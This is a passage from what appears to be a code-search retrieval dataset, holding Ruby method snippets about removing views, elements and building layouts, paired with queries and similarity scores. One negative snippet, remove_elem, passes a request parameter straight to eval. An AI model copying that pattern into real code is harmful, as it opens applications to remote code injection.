remove_all_plant_loops(model)\n model.getPlantLoops.each(&:remove)\n return model\n end", "def clear_map_view\n set :map_view, nil\n end", "def clear_lines\n @items.each { |item| @scene.removeItem item }\n @items.clear\n end", "def remove\n return @exact.shift unless @exact.empty?\n @list.shift\n end", "def list_without_list_of_elements(list_of_index_elements)\n self_cloned = self.clone\n list_of_index_elements.sort.reverse.each do |element_index|\n self_cloned.delete_at element_index\n end\n return self_cloned\n end", "def hideElements \n @hideElements.each do |element|\n element.hide\n end\n end", "def remove_all()\n @items.clear()\n end", "def erase\n @nodes.erase\n end", "def remove shape\n @remove_shapes << shape\n end", "def remove(x)\n if include?(x)\n ind = @indices[x]\n ind2 = @content.size - 1\n swap(ind,ind2) # do this to ensure constant time\n removeEnd\n end\n end", "def removed(node)\n\t\t\t@size -= 1\n\t\t\treturn node\n\t\tend", "def remove(*vars)\n return unless instance.flex_indexable?\n Flex.remove(metainfo, *vars)\n end", "def delete_partials_if_new_partials_added\n if self.template_partials.detect {|tmp| !tmp.persisted? }.present? || self.layout == 'none' # has new partials selected\n MailEngine::TemplatePartial.destroy_all(:mail_template_id => self) # remove previous partials\n end\n end", "def remove(*a)\n # event is namespaced to not accidently trigger closing the dialog box\n select(*a).trigger('clockwork.remove')\n select(*a).remove()\n end", "def remove_all\n @peer.remove_all\n# @children.each { |child| scene.unindex_prop(child) } if scene\n# @children = []\n end", "def detach(scope = list_scope)\n list(scope).all(:position.gt => position).adjust!({ :position => -1 },true)\n self.position = nil\n end", "def all_views(element_id)\n element = all(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def remove_last_child\n @elements.pop\n end", "def remove_xpaths(html, xpaths)\n if html.respond_to?(:xpath)\n html.xpath(*xpaths).remove\n html\n else\n remove_xpaths(Loofah.fragment(html), xpaths).to_s\n end\n end", "def remove\n @instantiations.dup.each(&:remove)\n @instantiations[0..-1] = []\n true\n end", "def prune_free_list\n i = 0\n while i < @free_rectangles.size\n j = i + 1\n while j < @free_rectangles.size\n if is_contained_in?(@free_rectangles[i], @free_rectangles[j])\n @free_rectangles.delete_at(i)\n i -= 1\n break\n end\n if is_contained_in?(@free_rectangles[j], @free_rectangles[i])\n @free_rectangles.delete_at(j)\n else\n j += 1\n end\n end\n i += 1\n end\n end", "def remove_selected(selected)\n case selected\n when Stroke\n @main_view.remove_stroke(selected)\n when ToyInScene\n @main_view.remove_toy(selected)\n end\n close_popover\n moveToSceneBar\n end", "def remove\n instance_variables.map{|v| instance_variable_get(v) }\n .keep_if{|v| v.respond_to? :remove }\n .each(&:remove)\n end", "def remove!\n update_attributes(x_position: nil, y_position: nil)\n end", "def remove\n @issue.labels!(@issue.labels - grid)\n end", "def delete_unspecified_locator\n return nil if empty?\n loc = get_entry_e(self.size-1)\n delete_locator(loc)\n end", "def remove_elem\n elem =eval(params[:type]).find(params[:elem])\n elem.position= 0\n case params[:type]\n when \"Activity\"\n elem.model_id = -1\n when \"Action\"\n elem.activity_id = -1\n when 'PfTask'\n elem.action_id = -1\n end\n elem.update_attributes(elem.attributes)\n redirect_to :action => 'show_subs', :parent_id =>params[:parent_id], :parent_type =>eval(params[:type]).get_parent_name\n end", "def clear\n @window.clear\n @position = [0, 0]\n end", "def onRemoved(links)\n @set -= links\n end", "def remove(*args)\n if args.empty?\n super\n else\n __remove_elements__ :remove, args\n end\n end", "def remove_unused_polylines\n\t\t#Polyline.delete(self.polyline_id)\n\t\tPolyline.destroy_all([\"id = ?\", self.polyline_id])\n\t\t\n\t\tSyncronisation.destroy_all([\"route_id = ?\", self.id])\n\t\t\n\t\t#Polyline.find(:all, :conditions => [\"video_id = ?\", self.id]).each { |object| object.destroy }\n\tend", "def prune\n @set.clear\n end", "def clear_patches\n @patches.clear\n end", "def clear_displays\n loop do\n break if Byebug.displays.empty?\n\n Byebug.displays.pop\n end\n end", "def remove\n if Module.const_defined? :DSL\n Window.remove(self)\n end\n end", "def remove_segments()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.RunEditor_remove_segments(@handle.ptr)\n end", "def remove_component()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.LayoutEditor_remove_component(@handle.ptr)\n end", "def remove_group(i, j)\n if @board.get(i, j) == 0\n raise \"(#{i}, #{j}) is an empty spot. Cannot kill a group of empty stones\"\n end\n\n group, adj = get_adj(i, j)\n group.each{|i, j|\n @board.remove(i, j)\n }\n return group\n end", "def pop\n raise 'No such element' if @elements.length == 0\n @elements.slice!(-1)\n end", "def clear!\n @active_subplot.clear!\n end", "def clear\n self.clear_overlays\n end", "def test_widget_session_cleanup\n r = cell(:my_test, :some, 'root')\n r << a= cell(:my_test, :some, 'a')\n r << b1= cell(:my_test, :some, 'b')\n a << b2= cell(:my_test, :some, 'b')\n \n \n freeze_tree_for(r, session)\n \n r = thaw_tree_for(session, controller)\n r.find_by_id('b').removeFromParent!\n \n freeze_tree_for(r, session)\n assert_equal session['apotomo_widget_content'].size, 3\n #assert session['apotomo_widget_content'].reject?('b')\n end", "def fragment_unset\n fragment_set nil\n end", "def border_points_minus_removed\n points = []\n border_points.each do |point|\n points << point if !point.marked_for_destruction?\n end\n points\n end", "def remove item\n @components.remove item\n end", "def remove_weakest_individual\n sort_routes\n @routes = @routes[0..-2]\n end", "def main_area_off\n\t\tif @main_array.length > 0 then\n\t\t\tfor i in 0..(@main_array.length - 1) do\n\t\t\t\t@layer_general.remove( @main_array[i] )\n\t\t\tend\n\t\t\t@main_array.clear\n\t\tend\n\t\tself.remove( @layer_general )\n\tend", "def remove_internal_frames(bindings)\n i = top_internal_frame_index(bindings)\n # DEBUG:\n #bindings.each_with_index do |b, index|\n # puts \"#{index}: #{b.eval(\"self.class\")} #{b.eval(\"__method__\")}\"\n #end\n # puts \"FOUND top internal frame in #{bindings.size} frames: [#{i}] #{bindings[i].ai}\"\n\n bindings.drop i+1\n end", "def del_panel\n Panel.del_panel(pointer)\n end", "def remove_selected\n case @selected\n when Stroke\n remove_stroke(@selected)\n when ToyInScene\n remove_toy(@selected)\n end\n end", "def remove_illegitimate_children\n puts \"Destroying illegitimate children of response #{id}: #{text}\" if illegitimate_children.length > 1\n illegitimate_children.select {|q| q != child_question }.each do |q|\n puts \" Destroying illegitimate child question #{q.id}: #{q.text}\"\n q.destroy\n end\n end", "def remove_from_parents\n ordered_by.each do |parent|\n parent.ordered_members.delete(self) # Delete the list node\n parent.members.delete(self) # Delete the indirect container Proxy\n parent.save! # record the changes to the ordered members\n end\n end", "def deintersect\n [self]\n end", "def remove_unused_bullets()\r\n # All the bullet objects are looped through\r\n @bullets.dup.each { |bullet|\r\n # Determines if a bullet is outside the screen\r\n bullet.x > SCREEN_HEIGHT || bullet.x < 0\r\n }\r\n end", "def clear_clicked(txtvu)\n s, e = txtvu.buffer.selection_bounds\n txtvu.buffer.remove_all_tags(s, e)\nend", "def hide()\n @view__.hide\n end" ]
[ "0.66157573", "0.5968465", "0.5898754", "0.5719658", "0.5623492", "0.5612306", "0.5410967", "0.5232013", "0.513814", "0.5111841", "0.50762504", "0.50626093", "0.5020968", "0.50082934", "0.50068396", "0.49651092", "0.4945815", "0.4918972", "0.48925567", "0.4891927", "0.48907468", "0.48658293", "0.4843095", "0.4813096", "0.48037514", "0.4747051", "0.47373676", "0.47337693", "0.4728866", "0.47000247", "0.46994963", "0.46840963", "0.46681806", "0.46678752", "0.46614525", "0.46520033", "0.46501705", "0.4631327", "0.46286336", "0.45959124", "0.45674232", "0.45667413", "0.45667413", "0.4558279", "0.4558018", "0.4549312", "0.45480227", "0.4546351", "0.453954", "0.45350468", "0.45336565", "0.45282254", "0.45251963", "0.4515691", "0.4498494", "0.44983652", "0.44974387", "0.44863173", "0.44806874", "0.447889", "0.44589546", "0.4451891", "0.44490027", "0.44489235", "0.44369638", "0.44301352", "0.4422416", "0.44115373", "0.44109416", "0.4408846", "0.4403025", "0.4401153", "0.4400981", "0.4400124", "0.4398452", "0.43846977", "0.43815905", "0.4377556", "0.4359898", "0.43570283", "0.43569338", "0.4354987", "0.43515447", "0.43492416", "0.4343608", "0.43405524", "0.4339178", "0.43295363", "0.43269628", "0.43232596", "0.4322907", "0.43222108", "0.43216467", "0.43166444", "0.4312003", "0.43077663", "0.4306623", "0.4304274", "0.43037957", "0.43022612" ]
0.6103588
1
returns the root view that was removed, if any
def forget_tree(element_id, view) removed = forget_view(element_id, view) if view.subviews view.subviews.each do | sub | if (sub_ids = sub.motion_kit_meta[:motion_kit_ids]) sub_ids.each do | sub_id | forget_tree(sub_id, sub) || [] end end end end removed end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\treturn viewStack.last;\n\tend", "def remove\n selected.each { |view| view.parent.removeView(view) }\n self\n end", "def top()\n @view__.top\n end", "def tree_root\n if (root_id = visibility_path_ids.first)\n return content_model::Page.get(root_id)\n end\n nil\n end", "def pop()\n\n\t\tviewStack = self.instance_variable_get(\"@hooViews\");\n\t\tif viewStack.nil? or viewStack.empty?\n\t\t\traise \"unpalanced view stack\"\n\t\tend\n\t\tviewStack.pop();\n\tend", "def last_view(element_id)\n element = last(element_id)\n if element.is_a?(Layout)\n element = element.view\n end\n element\n end", "def root(reload=false)\n ancestors(reload).first\n end", "def root\n self_and_ancestors.first\n end", "def root\n ancestors.first || self\n end", "def get_root\n return self if tag == :root || parent.nil?\n parent.get_root\n end", "def top\n self.root\n end", "def root\n return @notes.find { |note| note.part == :root } || self.low_note\n end", "def view_last\n return @vassals[-1].view_last\n end", "def root\n if self.root?\n self\n else\n self.parent.root\n end\n end", "def remove_views\n FileUtils.rm_rf(File.dirname(__FILE__) + \"/views\")\n end", "def root\n return self if is_root?\n ancestors.select { |category| category.is_root? }.first\n end", "def remove_view(listener)\n @views.remove listener\n end", "def root\n return @root\n end", "def root\n root? ? self : parent.root\n end", "def view_path\n @view_path ||= root + \"/views\"\n end", "def view_name\n @view.virtual_path.split('/').last\n end", "def root\r\n\t\t\t\tself.find(:first, :conditions => 'parent_id IS NULL')\r\n\t\t\tend", "def root\n @parent.root\n end", "def root\n @root\n end", "def bottom()\n @view__.bottom\n end", "def TreeView_GetRoot(hwnd) TreeView_GetNextItem(hwnd, NULL, TreeViewGetNextItem[:ROOT]) end", "def root?\n self.parent ? false : true\n end", "def closest_parent(type, this_view = nil)\n this_view ||= view_or_self.superview\n while this_view != nil do\n return this_view if this_view.is_a? type\n this_view = this_view.superview\n end\n nil\n end", "def top\n self.root.first\n end", "def delete_view\n super\n end", "def root\n return @root\n end", "def root\n return @root\n end", "def origin_views\n if pq = self.parent_rmq\n pq.selected\n else\n [self.weak_view_controller.view]\n end\n end", "def find_view_holder\n\n view_holder_path = Themes::ThemeManager.instance.selected_theme.resource_path(\"#{frontend_skin_preffix}render-viewholder-#{view.render}.erb\",'template','cms') \n \n if not view_holder_path\n path = context.get_path(\"#{frontend_skin_preffix}render-viewholder-#{view.model_name}-#{view.render}\")\n view_holder_path = path if not path.nil? and File.exists?(path)\n end\n\n return view_holder_path\n\n end", "def destroy?\n admin.root?\n end", "def root\n self\n end", "def root\n self\n end", "def recent_view_destroy\n RecentView.log_destroy(self.class.to_s, id)\n true\n end", "def view_root\n \"views\"\n end", "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def root_node\n root_nodes.first\n end", "def root\n self.where(parent: nil).order('index asc').first\n end", "def extract\n return self if root?\n\n method(:delete).super_method.call\n self\n end", "def getRoot\n @path[0]\n end", "def root \n parent.nil? ? self : parent.root\n end", "def root?\n self.parent.nil?\n end", "def remove_root(name)\n if name.index(@root + \"/\") == 0\n name[(@root.length + 1)..-1]\n else\n name\n end\n end", "def root\n folders.first\n end", "def root\n parent ? parent.root : self\n end", "def root\n parent ? parent.root : self\n end", "def root\n return nodes.first if nodes.size == 1\n nodes.find { |node| root?(node) }\n end", "def remove_node\n remove_node_helper(@root)\n end", "def current_root_page\n return unless current\n\n current.pages.language_roots.first\n end", "def remove()\n root = @store[0]\n new_root = @store[@store.length - 1]\n\n @store[@store.length - 1] = root\n @store[0] = new_root\n\n removed = @store.pop\n\n heap_down(0)\n return removed.value\n end", "def root\n first :parent_id => nil\n end", "def root\n @root ||= (parent ? parent.root : self)\n end", "def root?\n !has_parent?\n end", "def root\n instance.options[:root]\n end", "def root\n instance.options[:root]\n end", "def root\n @group.root\n end", "def root\n words.find(&:root?)\n end", "def root?\n !parent\n end", "def remove_root(tree_match=nil)\n if tree_match.nil?\n reduce_root\n elsif self === tree_match\n reduce_root_tree_var(tree_match)\n else\n tree = find{|i| i === tree_match}.remove_root(tree_match)\n update_height\n tree\n end\n end", "def get_path_root\n return self if @path.nil?\n @path.get_path_root\n end", "def delete_min\n result = nil\n if @root\n @root, result = delete_min_recursive(@root)\n @root.color = :black if @root\n end\n result\n end", "def root\n @__cache__[:root] ||= @superstate ? @superstate.root : self\n end", "def root\n blk = self.class.has_widgets_blocks or raise \"Please setup a widget tree using has_widgets()\"\n @root ||= Apotomo::Widget.new(parent_controller, \"root\").tap do |root|\n self.instance_exec(root, &blk)\n end\n end", "def root\n @root ||= (parent ? parent.root : self)\n end", "def root\n return self if root?\n (root_relation_enabled? && root_ancestor) || ancestors.first\n end", "def root_id\n if is_root?\n id\n else\n root.id\n end\n end", "def parent_widget\n nil\n end", "def parent_widget\n nil\n end", "def root?\n context.root_component == self\n end", "def root\n self.home\n self\n end", "def root\n @key.nil? ? self : parents.first\n end", "def root\n nested_set_class.find_with_nested_set_scope(:first, :conditions => \"(#{nested_set_parent} IS NULL)\")\n end", "def remove_unwanted_views\n blacklight_config.view.delete(:gallery)\n blacklight_config.view.delete(:masonry)\n blacklight_config.view.delete(:slideshow)\n end", "def root?\n (selected.length == 1) && (selected.first == @context)\n end", "def root_drop\n end", "def root\n self.find(:first, :conditions => \"(#{acts_as_nested_set_options[:scope]} AND #{acts_as_nested_set_options[:parent_column]} IS NULL)\")\n end", "def empty?\n @root.nil?\n end", "def empty?\n @root.nil?\n end", "def get_root(doc)\n doc.children.first\n end", "def root?\n ROOT == self\n end", "def global; return root end", "def root?; end", "def root?; end", "def root_name\n return unless document.root\n\n document.root.name\n end", "def empty?\n root.nil?\n end", "def return_menu\n MenuControllerContracts.invariant(self)\n @current_view = @views[0]\n MenuControllerContracts.invariant(self)\n end", "def root\n @attributes[:root]\n end", "def root\n\t\treturn @doc == nil ? nil : @doc.root;\n\tend", "def root?\n root == self\n end", "def root\n @elements[@root]\n end", "def top_level\n @top_level ||= begin\n t = toplevel_listeners.first\n t.controller ? t.controller : t if t\n end\n end", "def clear\n @root = nil\n end", "def root\n return nil unless self.document\n self.document.root\n end", "def root \n context.metadata.root\n end", "def root target\n call target unless nav.root\n end", "def cleanup_view_runtime; end" ]
[ "0.652876", "0.63563377", "0.59730095", "0.5963546", "0.56980985", "0.5650808", "0.559136", "0.55689514", "0.54697216", "0.54530054", "0.54407686", "0.5416677", "0.53992707", "0.5384595", "0.5376188", "0.5358059", "0.53303576", "0.5326621", "0.5316264", "0.5313069", "0.530152", "0.5289234", "0.52863514", "0.5265309", "0.526468", "0.5263646", "0.5254711", "0.52545244", "0.52484584", "0.5242602", "0.52383953", "0.52383953", "0.5202", "0.5199933", "0.5195937", "0.5176575", "0.5176575", "0.51758194", "0.5159325", "0.5157465", "0.5156744", "0.51561934", "0.5155897", "0.5142389", "0.5116937", "0.5113117", "0.5107302", "0.5094137", "0.50853515", "0.50853515", "0.5077838", "0.5076306", "0.5075659", "0.5071367", "0.5068997", "0.5068433", "0.5051067", "0.50484645", "0.50484645", "0.5047062", "0.5041492", "0.5026564", "0.50074303", "0.5003512", "0.4983963", "0.4982574", "0.49817017", "0.49774355", "0.49748573", "0.4970262", "0.4957842", "0.4957842", "0.49572235", "0.49512392", "0.4948895", "0.49485976", "0.4945305", "0.49341035", "0.49303696", "0.492885", "0.49272996", "0.49256876", "0.49162263", "0.49139002", "0.4913044", "0.49100637", "0.49100637", "0.49093172", "0.49054852", "0.49006245", "0.4899108", "0.489233", "0.48916963", "0.48897156", "0.48878655", "0.4887525", "0.48860005", "0.48839235", "0.48788583", "0.4873103" ]
0.51609904
38
This method builds the layout and returns the root view.
def build_view # Only in the 'layout' method will we allow default container to be # created automatically (when 'add' is called) @assign_root = true prev_should_run = @should_run_deferred @should_run_deferred = true layout unless @view if @assign_root create_default_root_context @view = @context else NSLog('Warning! No root view was set in TreeLayout#layout. Did you mean to call `root`?') end end run_deferred(@view) @should_run_deferred = prev_should_run @assign_root = false # context can be set via the 'create_default_root_context' method, which # may be outside a 'context' block, so make sure to restore context to # it's previous value @context = nil if @preset_root @view = WeakRef.new(@view) @preset_root = nil end @view end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def view\n unless is_parent_layout?\n return parent_layout.view\n end\n @view ||= build_view\n end", "def layout\n @layout\n end", "def root\n blk = self.class.has_widgets_blocks or raise \"Please setup a widget tree using has_widgets()\"\n @root ||= Apotomo::Widget.new(parent_controller, \"root\").tap do |root|\n self.instance_exec(root, &blk)\n end\n end", "def layout()\n layout_children()\n end", "def layout; end", "def layout\n nil\n end", "def root(element, element_id=nil, &block)\n if @view\n raise ContextConflictError.new(\"Already created the root view\")\n end\n unless @assign_root\n raise InvalidRootError.new(\"You should only create a 'root' view from inside the 'layout' method (use 'create' elsewhere)\")\n end\n @assign_root = false\n\n # this method can be called with just a symbol, to assign the root element_id\n if element.is_a?(Symbol)\n element_id = element\n # See note below about why we don't need to `apply(:default_root)`\n element = preset_root || default_root\n elsif preset_root && preset_root != element\n # You're trying to make two roots, one at initialization\n # and one in your layout itself.\n raise ContextConflictError.new(\"Already created the root view\")\n end\n\n @view = initialize_element(element, element_id)\n\n if block\n if @context\n raise ContextConflictError.new(\"Already in a context\")\n end\n end\n\n style_and_context(@view, element_id, &block)\n\n return @view\n end", "def layout\n nil\n end", "def layout\n self.class.layout || @app.layout\n end", "def layout\n @layout ||= layout_class.new(@rack_context)\n end", "def build\r\n self.ehtml, self.ecss, self.ejs = self.theme.page_layout.build_content() \r\n return self.ehtml, self.ecss, self.ejs\r\n end", "def layout \n return @layout\n end", "def layout\n lookup_layout\n end", "def root\n H[:html, [H[:head], tag!(:body)]]\n end", "def layouts; end", "def layouts; end", "def build\n view\n self\n end", "def master_layout\n @setup[:master_layout] ||= @master_layout ||\n (@controller.ctrl.slice.view.master_layout if @controller)\n end", "def app_layout\n layout_content = read_view :application, :folder => 'layouts' #, :type => :erb\n\n [:alert, :notice].each{|name| insert_flash_displayer name}\n end", "def view\n return @view unless @view.nil?\n file = File.join VIEWS, self.template\n @view = Haml::Engine.new File.read(file), HAML_CONFIG\n end", "def layout_contents\n layout.render(self)\n end", "def root\n Tk.init\n @root\n end", "def build\n\n @layout_path = bundle.layout_path\n\n # Render each filename. By default, the output goes to the resources\n # string\n @content_for_resources = ''\n entries.each { |fn| _render_one(fn) }\n\n # Finally, render the layout. This should produce the final output to\n # return\n input = File.read(@layout_path)\n \n # render using either erb or haml\n case File.extname(@layout_path)\n when /\\.rhtml$/, /\\.html.erb$/\n return eval(Erubis::Eruby.new.convert(input))\n when /\\.haml$/, /\\.html.haml$/\n require 'haml'\n return Haml::Engine.new(input).to_html(self)\n end\n end", "def index\n @maker_layouts = MakerLayout.all\n end", "def default_root\n # child WindowLayout classes can return *their* NSView subclass from self.nsview_class\n view_class = self.class.targets || NSWindow\n view_class.alloc.initWithContentRect([[0, 0], [0, 0]],\n styleMask: NSTitledWindowMask | NSClosableWindowMask | NSMiniaturizableWindowMask | NSResizableWindowMask,\n backing: NSBackingStoreBuffered,\n defer: false)\n end", "def build( special_contexts=[] )\r\n\r\n self.ehtmls, self.ecss, self.ejs = self.theme.original_page_layout_root.build_content(special_contexts)\r\n self.ehtml = self.ehtmls.first\r\n\r\n end", "def layout\n yield(layout_for) if block_given?\n layout_for\n end", "def build_layout\n year = Time.now.year\n add_call('Notification des abonnements électroniques', ->() { notifier })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year - 1}\", ->() { freesubs(year - 1) })\n add_call(\"Extension des abonnements gratuits et d'échange de l'année #{year}\", ->() { freesubs(year) })\n add_call('Création d\\'un abonnement collectif', ->() { collective_manager })\n add_call('Exploitation des abonnements collectifs', ->() { collective_exploitation })\n add_call('Recherche des tiers par facture', ->() { billing_manager })\n add_call('(Pour développeur) Fichiers de requête', ->() { sql_files })\n @layout.add_stretch\n end", "def initialize view\r\n @view = view\r\n @output = ''\r\n @xml = Builder::XmlMarkup.new :indent => 2, :target => @output\r\n end", "def set_layout\n if 1==1\n 'application'\n else\n 'dean'\n end\n end", "def view\n @view ||= returning Cell::View.new(view_paths, {}, @controller) do |v|\n v.cell = self\n v.helper_module = self.class.master_helper_module\n end\n end", "def body\n render layout: false\n end", "def default_layout\n nil\n end", "def layout\n return @layout if @layout\n return if no_layout?\n\n @layout = site.layouts[data.layout].tap do |layout|\n unless layout\n Bridgetown.logger.warn \"Generated Page:\", \"Layout '#{data.layout}' \" \\\n \"requested via #{relative_path} does not exist.\"\n end\n end\n end", "def on_load\n layout (self.view, :root) do\n\n @title = subview(UILabel, :title)\n @username = subview(UITextField, :username, delegate: self)\n @password = subview(UITextField, :password, delegate: self)\n @login_button = subview(UIButton.custom, :login_button)\n @register_button = subview(UIButton.custom, :register_button)\n\n #auto do\n # metrics 'margin' => 20\n # #metrics '2margin' => 20\n #\n # vertical \"|-50-[title]-75-[username]-margin-[password(==80)]-margin-[login_button(==30)]->=20-[register_button(==40)]-margin-|\"\n # horizontal \"|-[title]-|\"\n # horizontal \"|-margin-[username]-margin-|\"\n # horizontal \"|[password]-margin-|\"\n # horizontal \"|-margin-[login_button]-margin-|\"\n # horizontal \"|-margin-[register_button]-margin-|\"\n #end\n end", "def root\n @root ||= start\n end", "def build\n reset\n visit(root, @root)\n end", "def layout\n html do\n head do\n title 'TrackTime'\n end\n body do\n h1 \"welcome to tracktime\"\n div.content do\n self << yield\n end\n end\n end\n end", "def app_layout\n layout_content = read_view :layouts => :application \n [:alert, :notice].each{|name| insert_flash_displayer name, layout_content}\n end", "def dynamic_layout\n # ALL THIS SUCKS, I KNOW..\n \n # No layout for AJAX calls\n @layout = if request.xhr? \n nil\n # dialog param = lightview popup\n elsif params[:dialog]\n 'dialog'\n # uses user 'role' name for layout ... bad\n elsif current_user && !current_user.role.nil?\n current_user.role.downcase\n # no user, check for 'about' action\n elsif controller_name == 'about'\n 'about'\n # none of the above, use Rails default\n else\n 'home'\n end\n return nil unless @layout\n \n Rails.logger.debug \"Dyamic layout = #{@layout}\"\n # Layouts further divided by site subdomain: www vs vault\n if current_subdomain == 'vault'\n # Then public vs logged in...ugh\n if current_user\n @layout = 'vault/private/' + @layout\n else\n @layout = 'vault/public/' + @layout\n end\n end\n @layout\n end", "def layout\n \"application\"\n end", "def layout\n yield(monitoring_layout)\n monitoring_layout\n end", "def view_context\n super.tap do |view|\n (@_content_for_layout || {}).each do |name, content|\n view.content_for name, content\n end\n end\n end", "def build_view \n \n return if skip_method(__method__)\n \n # build edit _form index new show\n \n ['_form','edit','new','index','show'].each do |file|\n \n \n template = File.read(template(\"rails/views/#{file}.html.erb\"))\n \n # need to use ERB for these templates\n text = ERB.new(template, nil, '-').result(binding)\n\n filename = \"#{file}.html.erb\"\n # #puts \"build Rails view\"\n \n path = namespaced_path(\"app/views\",\"#{plural_table_name}/\"+filename)\n puts \"build Rails #{file} view for #{model_name} in #{path}\"\n write_artifact(path,text)\n \n end\n \n # build the json views\n ['index','show'].each do |file|\n \n template = File.read(template(\"rails/views/#{file}.json.jbuilder\"))\n text = ERB.new(template, nil, '-').result(binding)\n \n filename = \"#{file}.json.jbuilder\"\n # #puts \"build Rails JSON view \"\n \n path = namespaced_path(\"app/views\",\"#{plural_table_name}/\"+filename)\n puts \"build Rails #{file} JSON view for #{model_name} in #{path}\"\n write_artifact(path,text)\n \n end\n \n end", "def view_instance\n # view = if controller.response.template\n # controller.response.template\n # else\n View.new controller, master_helper_module\n # end\n \n # view.extend Extensions::View\n end", "def new\n @layout = Layout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @layout }\n end\n end", "def default_layout\n 'default' if html?\n end", "def root_page\n @root_page ||= Page.language_root(session[:language])\n end", "def build_single_editor_layout(width, height, pane_id)\n Layout.new(\"#{width}x#{height}\", 0, 0, PaneId.new(pane_id))\nend", "def index\n # Render just the layout since this application is Angular driven\n # our layout/application has all the angular logic and our controllers\n # have no views for themselves. We just need a place to launch from\n # and this happens to be it. So we have no view (thus :nothing => true)\n # but we still want the layout (since it has the App bootstrap code)\n render :layout => 'application', :nothing => true\n end", "def inject_into_layout\n application_layout_path_prefix = 'app/views/layouts/application.html'\n\n api_key = ask 'What is your kit ID (leave blank to specify later):'\n api_key = '- YOUR KIT ID HERE -' if api_key.blank?\n\n layout_templates = { slim: { content: \" = typekit '#{api_key}'\", after: \"head\\n\" }}\n layout_templates[:erb] = { content: \" <%#{layout_templates[:slim][:content].lstrip} %>\", after: \"<head>\\n\" }\n\n layout_templates.each_pair do |lang,options|\n path = ::File.join(destination_root, \"#{application_layout_path_prefix}.#{lang}\")\n if ::File.exists?(path)\n inject_into_file path, after: options[:after] do\n \"#{options[:content]}\\n\"\n end\n end\n end\n end", "def set_layout\n if request.xhr?\n self.class.layout false\n else\n self.class.layout \"application\"\n end\n end", "def index\n respond_with @layouts\n end", "def layout layout = nil, *actions\n if (layout || layout == false) && configurable?\n @layouts ||= Hash.new\n layout = layout.to_s unless layout == false\n if actions.size == 0\n actions = ['*']\n @master_layout = layout\n end\n actions.each { |a| @layouts[a] = layout }\n end\n @setup[:layouts] ||= @layouts ||\n (@controller.ctrl.slice.view.layout if @controller) || {}\n end", "def build_index\n index_view = IndexView.new\n File.open(ROOT / WWW / 'index.html', 'w') do |f|\n f.print index_view.render(:posts => @posts.most_recent)\n end\n end", "def view_root\n \"views\"\n end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def render\n template_body = Tilt.new(@template).render(self)\n if @layout\n layout = Dir[File.join(File.dirname(@template), @layout) + '*'].first\n raise \"#{Guinness::EMOJI} Guinness : Unable to locate layout at: '#{@layout}'\" unless layout\n @body = Tilt.new(layout).render(self) { template_body }\n end\n @body || template_body\n end", "def index\n render template: 'layouts/application', layout: false\n end", "def default_layout\n @default_layout ||= (\n IO.read(LIBDIR + \"/templates/layouts/page.mustache\")\n )\n end", "def set_stall_layout\n return false if request.xhr?\n return Stall.config.default_layout if Stall.config.default_layout\n\n parent_controller = self.class.ancestors.find do |ancestor|\n !ancestor.name.to_s.match(/^Stall::/) && Class === ancestor\n end\n\n parent_controller._layout ||= 'application'\n end", "def test\n\n render layout: 'views/index'\n\n end", "def resolve_layout\n\t case action_name\n\t when 'index'\n\t \t'blank'\n\t else\n\t 'application'\n\t end\n\t end", "def version\n render layout: \"layouts/full_page\"\n end", "def version\n render layout: \"layouts/full_page\"\n end", "def layouts=(_arg0); end", "def layouts=(_arg0); end", "def root path = nil\n if path && configurable?\n @root = normalize_path(path)\n # resetting path to an empty string cause root should be an absolute path to templates.\n @path, @setup[:path] = nil\n path ''\n end\n @setup[:root] ||= @root ||\n (@controller.ctrl.slice.view.root if @controller) ||\n Presto::App.root\n end", "def render_layout(output, layout, info); end", "def root\n @root ||= (parent ? parent.root : self)\n end", "def get_layout\n layout ||= Spree::Config[:layout]\n end", "def new\n render :layout => \"main\" \n end", "def set_layout\n request.xhr? ? 'empty' : 'application'\n end", "def layout(new_layout = nil)\n @layout = new_layout if new_layout\n @layout\n end", "def generate_root\n my_route \"root to: 'root#index'\"\n copy_file \"root/root_controller.rb\", \"app/controllers/root_controller.rb\"\n copy_file \"root/index.html.erb\", \"app/views/root/index.html.erb\"\n end", "def index\n super\n use_widgets do |root|\n root << jqg_top_widget('program')\n end\n render\n end", "def new\n ruhoh = @ruhoh\n name = @args[2]\n Ruhoh::Friend.say { \n red \"Please specify a layout name.\" \n cyan \"ex: ruhoh layouts new splash\"\n exit\n } if name.nil?\n\n filename = File.join((@ruhoh.cascade.theme || @ruhoh.cascade.base), \"layouts\", name.gsub(/\\s/, '-').downcase) + \".html\"\n\n if File.exist?(filename)\n abort(\"Create new layout: aborted!\") if ask(\"#{filename} already exists. Do you want to overwrite?\", ['y', 'n']) == 'n'\n end\n\n FileUtils.mkdir_p File.dirname(filename)\n\n File.open(filename, 'w:UTF-8') do |page|\n page.puts (@collection.scaffold || '')\n end\n\n Ruhoh::Friend.say {\n green \"New layout:\"\n plain ruhoh.relative_path(filename)\n }\n end", "def index\n render \"index\", layout: \"verdecircle\"\n end", "def loadView\n self.view = MainView.alloc.initWithFrame(UIScreen.mainScreen.bounds)\n end", "def html_contents\n layout_contents\n end", "def dashboard_h\n render :layout => 'application-h'\n end", "def wrap_in_layout #:nodoc:\n if @options[:layout]\n ERB.new(@options[:layout]).result(binding)\n else\n yield\n end\n end", "def default_render\n render(html: \"\", layout: true)\n end", "def reapply!\n root ||= self.view\n @layout_state = :reapply\n run_reapply_blocks\n\n @child_layouts.each do |child_layout|\n child_layout.reapply!\n end\n\n @layout_state = :initial\n\n return self\n end", "def generate_layout\n if options.sass?\n directory 'app'\n gem 'compass', '>=0.10.5'\n gem 'compass-960-plugin', '>=0.10.0'\n directory 'config'\n else\n copy_file \"stylesheet.css\", \"public/stylesheets/#{file_name}.css\" if options.stylesheet?\n copy_file \"handheld.css\", \"public/stylesheets/handheld.css\" if options.stylesheet?\n end\n copy_file \"modernizr-1.5.min.js\", 